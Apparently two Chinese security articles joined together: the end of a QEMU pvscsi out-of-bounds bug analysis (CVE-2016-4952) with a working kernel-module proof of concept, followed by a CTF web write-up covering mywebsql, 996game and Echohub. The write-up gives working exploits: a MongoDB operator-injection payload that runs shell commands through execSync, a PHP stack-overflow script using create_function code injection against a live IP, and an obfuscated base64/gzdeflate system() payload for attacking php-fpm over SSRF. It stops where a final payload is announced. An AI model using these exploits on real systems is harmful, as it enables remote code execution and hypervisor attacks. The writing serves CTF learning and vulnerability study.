uint32_t txr_len_log2, rxr_len_log2;
uint32_t req_ring_size, cmp_ring_size;
m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE;
cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE;
txr_len_log2 = pvscsi_log2(req_ring_size - 1);
rxr_len_log2 = pvscsi_log2(cmp_ring_size - 1);
m->txr_len_mask = MASK(txr_len_log2);
m->rxr_len_mask = MASK(rxr_len_log2);
m->consumed_ptr = 0;
m->filled_cmp_ptr = 0;
for (i = 0; i < ri->reqRingNumPages; i++) {
m->req_ring_pages_pa[i] = ri->reqRingPPNs[i] << VMW_PAGE_SHIFT;
}
for (i = 0; i < ri->cmpRingNumPages; i++) {
m->cmp_ring_pages_pa[i] = ri->cmpRingPPNs[i] << VMW_PAGE_SHIFT;
}
RS_SET_FIELD(m, reqProdIdx, 0);
RS_SET_FIELD(m, reqConsIdx, 0);
RS_SET_FIELD(m, reqNumEntriesLog2, txr_len_log2);
RS_SET_FIELD(m, cmpProdIdx, 0);
RS_SET_FIELD(m, cmpConsIdx, 0);
RS_SET_FIELD(m, cmpNumEntriesLog2, rxr_len_log2);
trace_pvscsi_ring_init_data(txr_len_log2, rxr_len_log2);
/* Flush ring state page changes */
smp_wmb();
}
### pvscsi_ring_init_msg
下面的代码是没有打patch前的代码，和`pvscsi_ring_init_data`一样，也是因为控制循环次数的变量是我们可以控制的，从而可以达到越界的目的
static void
pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri)
{
int i;
uint32_t len_log2;
uint32_t ring_size;
ring_size = ri->numPages * PVSCSI_MAX_NUM_MSG_ENTRIES_PER_PAGE;
len_log2 = pvscsi_log2(ring_size - 1);
m->msg_len_mask = MASK(len_log2);
m->filled_msg_ptr = 0;
for (i = 0; i < ri->numPages; i++) {
m->msg_ring_pages_pa[i] = ri->ringPPNs[i] << VMW_PAGE_SHIFT;
}
RS_SET_FIELD(m, msgProdIdx, 0);
RS_SET_FIELD(m, msgConsIdx, 0);
RS_SET_FIELD(m, msgNumEntriesLog2, len_log2);
trace_pvscsi_ring_init_msg(len_log2);
/* Flush ring state page changes */
smp_wmb();
}
## 触发漏洞
现再我们已经知道了漏洞函数在哪里，现再就需要知道怎么样才能调用到漏洞函数，我们先启动虚拟机，然后使用lspci
-v命令看一下怎么样才能读写pvscsi设备，可以看到设备内存的地址地址为0xfebf0000，但是我最开始以为直接mmio就可以访问到，但其实不然mmio没有办法访问到这块内存，为了解决这个问题，我们来看一下pvscsi的初始化函数
初始化函数代码如下，可以看到第29行，注册了pvscsi的操作函数，我们也可以看到读写函数分别是`pvscsi_io_read`和`pvscsi_io_write`，并且也可以看到`memory_region_init_io`函数的第一个参数是s->io_space，也就是说这个内存要是想要访问到的话需要使用IO来访问，使用mmio是无法访问到的
---------------------------------------------------------------------------------------------------------------------------- static const MemoryRegionOps pvscsi_ops = {
.read = pvscsi_io_read,
.write = pvscsi_io_write,
.endianness = DEVICE_LITTLE_ENDIAN,
.impl = {
.min_access_size = 4,
.max_access_size = 4,
},
};
---------------------------------------------------------------------------------------------------------------------------- static int
pvscsi_init(PCIDevice *pci_dev)
{
PVSCSIState *s = PVSCSI(pci_dev);
trace_pvscsi_state("init");
/* PCI subsystem ID */
pci_dev->config[PCI_SUBSYSTEM_ID] = 0x00;
pci_dev->config[PCI_SUBSYSTEM_ID + 1] = 0x10;
/* PCI latency timer = 255 */
pci_dev->config[PCI_LATENCY_TIMER] = 0xff;
/* Interrupt pin A */
pci_config_set_interrupt_pin(pci_dev->config, 1);
memory_region_init_io(&s->io_space, OBJECT(s), &pvscsi_ops, s,
"pvscsi-io", PVSCSI_MEM_SPACE_SIZE);
pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->io_space);
pvscsi_init_msi(s);
s->completion_worker = qemu_bh_new(pvscsi_process_completion_queue, s);
if (!s->completion_worker) {
pvscsi_cleanup_msi(s);
return -ENOMEM;
}
scsi_bus_new(&s->bus, sizeof(s->bus), DEVICE(pci_dev),
&pvscsi_scsi_info, NULL);
/* override default SCSI bus hotplug-handler, with pvscsi's one */
qbus_set_hotplug_handler(BUS(&s->bus), DEVICE(s), &error_abort);
pvscsi_reset_state(s);
return 0;
}
----------------------------------------------------------------------------------------------------------------------------
那么这里就又遇到了一个问题，既然mmio无法使用那就应该是使用pmio了，但是lspci
-v的输出结果里面也没有IO端口呀，后来查了点资料发现硬件接入系统的时候,系统会为硬件的寄存器分配连续的IO端口或者IO内存。也就是说lspci
-v输出的memory部分属于是IO内存，想要读写IO内存的话我们需要编写一个内核驱动，然后运行驱动才可以读写到IO内存，简单的交互代码如下
#include <asm/io.h>
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/random.h>
long pmem;//注意这里不要使用指针类型,不然后面地址加偏移的时候很容易出错
void m_init(){
printk("m_init\n");
int i,cmd,cmd_size;
int va,offset;
pmem=ioremap(0xfebf0000,0x8000);//映射io内存
offset=0x10;//根据设备情况而定
if (pmem){
writel(value,pmem+offset);//通常情况下都是写4字节,你也可以根据源码的处理方式选择
}else printk("ioremap fail\n");
iounmap(pmem);
return;
}
void m_exit(){
printk("m_exit\n");
return;
}
module_init(m_init);
module_exit(m_exit);
现再我们知道了怎么才能和设备交互，现再就是要看一下怎么才能调用到漏洞函数了，我选择调用的是`pvscsi_ring_init_msg`函数，这里我用的vscode查找引用功能可以看到只有一个函数调用了它，对调用它的函数再次查找引用，这时什么都查不到了，然后我使用搜索功能搜索到了一个使用调用函数的地方
可以从下图中看到这里把`pvscsi_on_cmd_setup_msg_ring`函数的地址赋给了一个函数指针，那么下面我们就看看哪里使用了这个函数指针
然后找到`pvscsi_do_command_processing`函数使用了函数指针，接下来再找一下哪里调用了`pvscsi_do_command_processing`函数
然后可以发现有两个函数调用了它，并且这两个函数都可以被pvscsi_io_write调用，这两个函数对应着不同的switch分支，所以现再我们就知道了函数的具体调用链
---------------------------------------------------------------------------------------------------------------------------- static void
pvscsi_on_command_data(PVSCSIState *s, uint32_t value)
{
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(bytes_arrived < sizeof(s->curr_cmd_data));
s->curr_cmd_data[s->curr_cmd_data_cntr++] = value;
pvscsi_do_command_processing(s);
}
---------------------------------------------------------------------------------------------------------------------------- static void
pvscsi_on_command(PVSCSIState *s, uint64_t cmd_id)
{
if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) {
s->curr_cmd = cmd_id;
} else {
s->curr_cmd = PVSCSI_CMD_FIRST;
trace_pvscsi_on_cmd_unknown(cmd_id);
}
s->curr_cmd_data_cntr = 0;
s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s);
}
---------------------------------------------------------------------------------------------------------------------------- static void
pvscsi_io_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
PVSCSIState *s = opaque;
switch (addr) {
case PVSCSI_REG_OFFSET_COMMAND:
pvscsi_on_command(s, val);
break;
case PVSCSI_REG_OFFSET_COMMAND_DATA:
pvscsi_on_command_data(s, (uint32_t) val);
break;
case PVSCSI_REG_OFFSET_INTR_STATUS:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_INTR_STATUS", val);
s->reg_interrupt_status &= ~val;
pvscsi_update_irq_status(s);
pvscsi_schedule_completion_processing(s);
break;
case PVSCSI_REG_OFFSET_INTR_MASK:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_INTR_MASK", val);
s->reg_interrupt_enabled = val;
pvscsi_update_irq_status(s);
break;
case PVSCSI_REG_OFFSET_KICK_NON_RW_IO:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_KICK_NON_RW_IO", val);
pvscsi_process_io(s);
break;
case PVSCSI_REG_OFFSET_KICK_RW_IO:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_KICK_RW_IO", val);
pvscsi_process_io(s);
break;
case PVSCSI_REG_OFFSET_DEBUG:
trace_pvscsi_io_write("PVSCSI_REG_OFFSET_DEBUG", val);
break;
default:
trace_pvscsi_io_write_unknown(addr, size, val);
break;
}
}
----------------------------------------------------------------------------------------------------------------------------
知道了调用链后我们来分析一下调用链中的函数，来确定是否有一些check会使我们无法调用到漏洞函数，首先我们可以在调用链函数中发现`pvscsi_do_command_processing`函数中会调用handler_fn这个函数指针指向的函数，只不过调用哪个函数是由`s->curr_cmd`决定的
static void
pvscsi_do_command_processing(PVSCSIState *s)
{
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(s->curr_cmd < PVSCSI_CMD_LAST);
if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) {
s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s); <----- CALL
s->curr_cmd = PVSCSI_CMD_FIRST;
s->curr_cmd_data_cntr = 0;
}
}
调用哪个函数由`s->curr_cmd`决定，那么我们就需要看一下我们是否可以控制`s->curr_cmd`的值，对应的我们可以在漏洞调用链函数中看到`pvscsi_on_command`函数中可以对`s->curr_cmd`并且赋的值只要小于10大于0即可，然后我们需要确定一下我们要触发的漏洞函数需要`s->curr_cmd`的值为多少才可以触发
enum PVSCSICommands {
PVSCSI_CMD_FIRST = 0, /* has to be first */
PVSCSI_CMD_ADAPTER_RESET = 1,
PVSCSI_CMD_ISSUE_SCSI = 2,
PVSCSI_CMD_SETUP_RINGS = 3,
PVSCSI_CMD_RESET_BUS = 4,
PVSCSI_CMD_RESET_DEVICE = 5,
PVSCSI_CMD_ABORT_CMD = 6,
PVSCSI_CMD_CONFIG = 7,
PVSCSI_CMD_SETUP_MSG_RING = 8,
PVSCSI_CMD_DEVICE_UNPLUG = 9,
PVSCSI_CMD_LAST = 10 /* has to be last */
};
static void
pvscsi_on_command(PVSCSIState *s, uint64_t cmd_id)
{
if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) {
s->curr_cmd = cmd_id;
} else {
s->curr_cmd = PVSCSI_CMD_FIRST;
trace_pvscsi_on_cmd_unknown(cmd_id);
}
s->curr_cmd_data_cntr = 0;
s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s);
}
回到pvscso_commands这个数据结构上来，我们需要触发的函数是`pvscsi_on_cmd_setup_msg_ring`，可以看到这个函数的位置是由`PVSCSI_CMD_SETUP_MSG_RING`决定的，然后我们可以在枚举`PVSCSICommands`里面看到`PVSCSI_CMD_SETUP_MSG_RING`的值为8，也就是说`s->curr_cmd`的值为8时就可以触发到漏洞函数
enum PVSCSICommands {
PVSCSI_CMD_FIRST = 0, /* has to be first */
PVSCSI_CMD_ADAPTER_RESET = 1,
PVSCSI_CMD_ISSUE_SCSI = 2,
PVSCSI_CMD_SETUP_RINGS = 3,
PVSCSI_CMD_RESET_BUS = 4,
PVSCSI_CMD_RESET_DEVICE = 5,
PVSCSI_CMD_ABORT_CMD = 6,
PVSCSI_CMD_CONFIG = 7,
PVSCSI_CMD_SETUP_MSG_RING = 8,
PVSCSI_CMD_DEVICE_UNPLUG = 9,
PVSCSI_CMD_LAST = 10 /* has to be last */
};
static const struct {
int data_size;
uint64_t (*handler_fn)(PVSCSIState *s);
} pvscsi_commands[] = {
[PVSCSI_CMD_FIRST] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_unknown,
},
/* Not implemented, data size defined based on what arrives on windows */
[PVSCSI_CMD_CONFIG] = {
.data_size = 6 * sizeof(uint32_t),
.handler_fn = pvscsi_on_cmd_config,
},
/* Command not implemented, data size is unknown */
[PVSCSI_CMD_ISSUE_SCSI] = {
.data_size = 0,
.handler_fn = pvscsi_on_issue_scsi,
},
/* Command not implemented, data size is unknown */
[PVSCSI_CMD_DEVICE_UNPLUG] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_unplug,
},
[PVSCSI_CMD_SETUP_RINGS] = {
.data_size = sizeof(PVSCSICmdDescSetupRings),
.handler_fn = pvscsi_on_cmd_setup_rings,
},
[PVSCSI_CMD_RESET_DEVICE] = {
.data_size = sizeof(struct PVSCSICmdDescResetDevice),
.handler_fn = pvscsi_on_cmd_reset_device,
},
[PVSCSI_CMD_RESET_BUS] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_reset_bus,
},
[PVSCSI_CMD_SETUP_MSG_RING] = {
.data_size = sizeof(PVSCSICmdDescSetupMsgRing),
.handler_fn = pvscsi_on_cmd_setup_msg_ring,
},
[PVSCSI_CMD_ADAPTER_RESET] = {
.data_size = 0,
.handler_fn = pvscsi_on_cmd_adapter_reset,
},
[PVSCSI_CMD_ABORT_CMD] = {
.data_size = sizeof(struct PVSCSICmdDescAbortCmd),
.handler_fn = pvscsi_on_cmd_abort,
},
};
但是当我们给`s->curr_cmd`赋值为8的时候依然无法调用到漏洞函数，这里是因为`pvscsi_do_command_processing`函数里面还有一个检测，这里可以看到需要`bytes_arrived`大于等于`pvscsi_commands[s->curr_cmd].data_size`，然后在动调的时候可以看到`pvscsi_commands[s->curr_cmd].data_size`的值为136，然后`s->curr_cmd_data_cntr`的值在每一次调用`pvscsi_on_command_data`函数的时候都会加1，所以也就是说我们需要调用`136
/ 4 =
34`次`pvscsi_on_command_data`函数才可以使得`bytes_arrived`大于等于`pvscsi_commands[s->curr_cmd].data_size`，从而调用到漏洞函数
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) {
s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s);
.........
}
现再我们已经知道了漏洞调用链，还有相关的check怎么绕过，所有的准备工作都已经做好了，下面就是需要来分析一下具体代码应该怎么写了
第一步就是要现设置`s->curr_cmd`的值为8
第二步调用34次`pvscsi_on_command_data`函数，每次写的`val`都写的大一些最后第34次调用的时候就可以触发到漏洞函数
这里还有一点需要注意一下，就是如果选择了`pvscsi_ring_init_msg`函数作为最后要触发的函数的话，这个函数里面有一行代码会根据我们输入的`val`计算一个值存在`len_log2`里面，但是这里给它赋值是通过循环复制的，如果说我们每次写的`val`过大就会循环好久，所以我们的val也不能写的过大
## POC
POC代码如下：
#include <asm/io.h>
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/random.h>
#define PVSCSI_REG_OFFSET_COMMAND_DATA 4
uint64_t pmem;
static void poc(void){
printk("Hacking\n");
pmem = ioremap(0xfebf0000,0x8000);
int i=0;
writel(0x8,pmem);
for(i=0;i<34;i++){
writel(0x100000,pmem+PVSCSI_REG_OFFSET_COMMAND_DATA);
}
iounmap(pmem);
return;
}
static void exit(void){
printk("Hacked By Resery\n");
return;
}
module_init(poc);
module_exit(exit);
有了代码之后我们需要把代码编译为一个内核模块，编译内核模块和我们平时编译程序不太一样，这里我直接去查了一下怎么编译，搜到一个Makfile然后自己改一改就可以了，Makefile如下：
obj-m := poc.o #要生成的模块名
modules-objs:= poc.o #生成这个模块名所需要的目标文件
KDIR := /lib/modules/`uname -r`/build
PWD := $(shell pwd)
default:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -rf modules.order Module.symvers poc.ko poc.mod.c poc.mod.o poc.o
编译好之后运行poc效果如下：
## 参考链接
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4952>
<https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg03774.html>
<https://www.tuicool.com/articles/MzqYbia>
<https://blog.csdn.net/tangchao198507/article/details/6122489> | 社区文章 |
## Web
### mywebsql
直接用admin / admin进后台，使用以下方式来GetShell。
<https://nvd.nist.gov/vuln/detail/CVE-2019-7731>
之后阻碍就是`readflag`，脚本处理。还是第一次看见`readflag`成为最大阻碍的CTF题……
<?php
function runCommand($cmd)
{
$descriptors = [
0 => array("pipe", "rw"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
];
$pipes = [];
$process = \proc_open($cmd, $descriptors, $pipes, __DIR__);
$stderr = '';
$stdout = '';
if (\is_resource($process)) {
stream_set_blocking($pipes[2], FALSE);
stream_set_blocking($pipes[1], FALSE);
while (true) {
if (!feof($pipes[1])) {
$a = fgetc($pipes[1]);
if ($a !== false) {
$stdout .= $a;
if (preg_match("/input your answer:/", $stdout)) {
$stdout = explode("first", $stdout)[1];
$stdout = explode("input", $stdout)[0];
$ret = eval('return ' . $stdout . ';');
echo $ret;
fwrite($pipes[0], $ret . "\r\n");
fflush($pipes[0]);
fclose($pipes[0]);
}
}
}
if (feof($pipes[2]) && feof($pipes[1])) {
break;
}
}
\fclose($pipes[1]);
\fclose($pipes[2]);
$status = \proc_close($process);
}
return [$stdout, $stderr, $status];
}
var_dump(runCommand('/readflag'));
### 996game
根据提示，得到游戏源码 <https://github.com/Jerenaux/phaserquest>
。发现其`js/client`直接暴露在公网，猜测`js/server`也同样可静态访问。之后直接down整站源码进行对比。
（右侧的代码因为我已经修改过，因此和原始代码不一样，懒得找原始的了）
那我们现在的目的就是让MongoDB报错，执行`err.message`里的代码了。（虽然感觉好无聊）
观察代码：
GameServer.loadPlayer = function(socket,id){
GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
通过`loadPlayer`可触发，唯一可控的点只有id。在前端，`loadPlayer`是点击“Play”时提交到服务器的，参数来源是`localStorage`。直接随便改改`localStorage.playerID`，就可以触发服务器报错。只是触发点不在回调里，而在`new
ObjectId`里。
反正现在也不知道干啥，先绕过这个`ObjectID`的验证吧，看看能不能传string以外的东西，绕了以后再研究怎么让MongoDB报错。
先想办法发送任意数据。在控制台输入以下代码后“Start Game”即可解决。
Client.getPlayerID = () => ('0123456789ab')
`
阅读代码：<https://github.com/mongodb/js-bson/blob/V1.0.0/lib/bson/objectid.js#L30>
要绕过的第一个点在`var valid = ObjectID.isValid(id);`。往下拉，可发现
if(id.toHexString) {
return id.id.length == 12 || (id.id.length == 24 && checkForHexRegExp.test(id.id));
}
因此构造payload:
Client.getPlayerID = () => ({ toHexString: 'aaa', id: {length: 12} })
之后会发现在序列化时出错：
具体代码：
for (var i = 0; i < this.id.length; i++) {
hexString += hexTable[this.id.charCodeAt(i)];
}
构造Payload：
Client.getPlayerID = () => ({ toHexString: 'aaa', length: 0, id: {length: 12} })
这样就可以传任意Object了，但是对如何报错还是没有头绪。根据主办方给的提示
db.a.find({"b":{"$gt":1,"c":"d"}})
得知，MongoDB解析Token时，内置的操作符必须放在最前面；在内置操作符之后的任何Key都无法被识别导致报错。由此构造Payload：
Client.getPlayerID = () => ({ "$gt":1,"socket.emit(require('child_process').execSync('ls'))":"bb", toHexString: 'aaa', length: 0, id: {length: 12}})
发现这样就可以ls了。下一步是绕`readflag`……Nodejs的流处理这种事情有点麻烦，用Perl来搞合适些。直接抄了个脚本：<https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md>
最终Payload：
Client.getPlayerID = () => ({ "$gt":1,[`process.chdir('/');socket.emit('aaa');socket.emit(require('child_process').execSync('perl -e \\'use warnings;use strict;use IPC'+String.fromCharCode(58)+String.fromCharCode(58)+'Open2;$| = 1;chdir("/");my $pid = open2(\*out2, \*in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;\\'').toString('utf-8'))`]:"bb", toHexString: 'aaa', length: 0, id: {length: 12}})
### Echohub
首先先进行PHP解密，解密后的代码：
<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once 'sandbox.php';
$seed = time();
srand($seed);
define('INS_OFFSET', rand(0x0, 0xffff));
$regs = array('eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0);
function aslr(&$a, $O0O)
{
$a = $a + 0x60000000 + INS_OFFSET + 0x1;
}
$func_ = array_flip($func);
array_walk($func_, 'aslr');
$plt = array_flip($func_);
function handle_data($data)
{
$len = strlen($data);
$a = $len / 0x4 + 0x1 * ($len % 0x4);
$ret = str_split($data, 0x4);
$ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "\x00");
foreach ($ret as $key => &$value) {
$value = strrev(bin2hex($value));
}
return $ret;
}
function gen_canary()
{
$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$a = $canary[rand(0, strlen($canary) - 0x1)];
$b = $canary[rand(0, strlen($canary) - 0x1)];
$c = $canary[rand(0, strlen($canary) - 0x1)];
$d = "\x00";
return handle_data($a . $b . $c . $d)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary()
{
global $canary;
global $canarycheck;
if ($canary != $canarycheck) {
die('emmmmmm...Don\'t attack me!');
}
}
class stack
{
private $ebp, $stack, $esp;
public function __construct($a, $b)
{
$this->stack = array();
global $regs;
$this->ebp =& $regs['ebp'];
$this->esp =& $regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0, 0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] =& $canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0, 0xffff);
$this->esp = $this->ebp - rand(0x20, 0x60) * 0x4;
$this->stack[$this->ebp + 0x4] = dechex($a);
if ($b != NULL) {
$this->pushdata($b);
}
}
public function pushdata($data)
{
$data = handle_data($data);
for ($i = 0; $i < count($data); $i++) {
$this->stack[$this->esp + $i * 0x4] = $data[$i];
//no args in my stack haha
check_canary();
}
}
public function recover_data($data)
{
return hex2bin(strrev($data));
}
public function outputdata()
{
global $regs;
echo 'root says: ';
while (0x1) {
if ($this->esp == $this->ebp - 0x4) {
break;
}
$this->pop('eax');
$data = $this->recover_data($regs['eax']);
$ret = explode("\x00", $data);
echo $ret[0];
if (count($ret) > 0x1) {
break;
}
}
}
public function ret()
{
$this->esp = $this->ebp;
$this->pop('ebp');
$this->pop('eip');
$this->call();
}
public function get_data_from_reg($item)
{
global $regs;
$a = $this->recover_data($regs[$item]);
$b = explode("\x00", $a);
return $b[0];
}
public function call()
{
global $regs;
global $plt;
$a = hexdec($regs['eip']);
if (isset($_REQUEST[$a])) {
$this->pop('eax');
$len = (int) $this->get_data_from_reg('eax');
$args = array();
for ($i = 0; $i < $len; $i++) {
$this->pop('eax');
$data = $this->get_data_from_reg('eax');
array_push($args, $_REQUEST[$data]);
}
call_user_func_array($plt[$a], $args);
} else {
call_user_func($plt[$a]);
}
}
public function push($item)
{
global $regs;
$data = $regs[$item];
if (hex2bin(strrev($data)) == NULL) {
die('data error');
}
$this->stack[$this->esp] = $data;
$this->esp -= 0x4;
}
public function pop($item)
{
global $regs;
$regs[$item] = $this->stack[$this->esp];
$this->esp += 0x4;
}
public function __call($name, $args)
{
check_canary();
}
}
print_R('O0OO0');
print_R('stack');
if (isset($_POST['data'])) {
$phpinfo_addr = array_search('phpinfo', $plt);
$gets = $_POST['data'];
$main_stack = new stack($phpinfo_addr, $gets);
echo '--------------------output---------------------</br></br>';
$main_stack->outputdata();
echo '</br></br>------------------phpinfo()------------------</br>';
$main_stack->ret();
}
一看是个栈溢出，还带ASLR和Canary。从执行点看，应该溢出到`call_user_func_array`。根据phpinfo禁用的函数+PHP
7.3的版本，基本只能使用`create_function`配合代码注入来进行任意代码执行。
代码注入：<https://www.exploit-db.com/exploits/32417>
disable_functions：
`file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv`
溢出脚本如下，直接php -S来跑，将其作为代理来打服务器：
<?php
$seed=time();
srand($seed);
define('INS_OFFSET', rand(0x0, 0xffff));
var_dump(INS_OFFSET);
$regs = array('eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0);
function aslr(&$a, $O0O)
{
$a = $a + 0x60000000 + INS_OFFSET + 0x1;
}
$func = get_defined_functions()["internal"];
$func_ = array_flip($func);
array_walk($func_, 'aslr');
$plt = array_flip($func_);
//var_dump($plt);
function handle_data($data)
{
$len = strlen($data);
$a = $len / 0x4 + 0x1 * ($len % 0x4);
$ret = str_split($data, 0x4);
$ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "\x00");
foreach ($ret as $key => &$value) {
$value = strrev(bin2hex($value));
}
return $ret;
}
function gen_canary()
{
$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$a = $canary[rand(0, strlen($canary) - 0x1)];
$b = $canary[rand(0, strlen($canary) - 0x1)];
$c = $canary[rand(0, strlen($canary) - 0x1)];
$d = "\x00";
return handle_data($a . $b . $c . $d)[0];
}
function recover_data($data)
{
return hex2bin(strrev($data));
}
$canary = gen_canary();
$phpinfo_addr = array_search('phpinfo', $plt);
$stack = array();
$ebp =& $regs['ebp'];
$esp =& $regs['esp'];
$rand1 = rand(0x0, 0xffff);
$ebp = 0xfffe0000 + $rand1;
$stack[$ebp - 0x4] =& $canary;
$rand2 = rand(0x0, 0xffff);
$stack[$ebp] = $ebp + $rand2;
$rand3 = rand(0x20, 0x60);
$esp = $ebp - $rand3 * 0x4;
$stack[$ebp + 0x4] = dechex($phpinfo_addr);
$post_data = str_repeat('aaaa', $rand3 - 1); // 填充到 canary 前一个空间
$post_data .= hex2bin(strrev($canary)); // 补上 canary
$post_data .= 'Rebp'; // random ebp
$bad_addr = array_search('create_function', $plt);
$post_data .= recover_data(dechex($bad_addr)); // function addr
$post_data .= "2\x00\x00\x00"; // create_function 需要两个参数
$post_data .= 'aaaa'; // 参数1
$post_data .= 'bbbb'; // 参数2
$post_data .= str_repeat('A', 400);
$data = $bad_addr.'=1&data=' . urlencode($post_data);
var_dump($data);
function post($url, $data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
var_dump post('http://34.85.27.91:10080?cccc='.urlencode($_REQUEST['x']).'&xxxx='.urlencode($_REQUEST['a']).'&aaaa=&bbbb=1;}eval($_GET[cccc]);/*', $data));
现在可以RCE了，但是绕不过`disable_functions`。此时看他`Dockerfile`和`run.sh`。
run.sh:
#!/bin/sh
service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity;
Dockerfile:
RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install
怎么说呢，其实有种强行出题的感觉。题目安装了所有PHP的扩展，自然也包括`php7.3-fpm`。在`run.sh`里还启用了所有服务，因此SSRF打fpm即可。
我们想让SSRF来帮我们跑：
<?php system('perl -e \'use warnings;use strict;use IPC::Open2;$| = 1;chdir("/");my $pid = open2(*out2, *in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;\'');
先压缩一下：
<?php
echo base64_encode(gzdeflate('perl -e \'use warnings;use strict;use IPC::Open2;$| = 1;chdir("/");my $pid = open2(*out2, *in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;\''));
然后丢进system：
<?php system(gzinflate(base64_decode("jY7BCsIwDIZfJRTBVZzDHVf1ohdPE9QHKFvcCrUraacIPrztHJ487BKS///+JBZJQ4ow7x3CU5JRpnEiDs6TqvzQHk/7oigtmlzM3rCFtajaWlHCMsbF/QUzq+ogd5FIFl3v8yUslAmVrTJCWd+0bBiHjqBWOCQIrX6FzCbSO2FJGQ/ny6G8XkZTTIPiMmncEymA+JA6+Tp8xMMbwH4IE1FIdzfduzbhYsqJf9qU3BRm/gE=")));
这就是我们最终要跑的代码。修改 <https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html> 中的脚本，只保留其生成功能，去除其发包功能，得到以下payload:
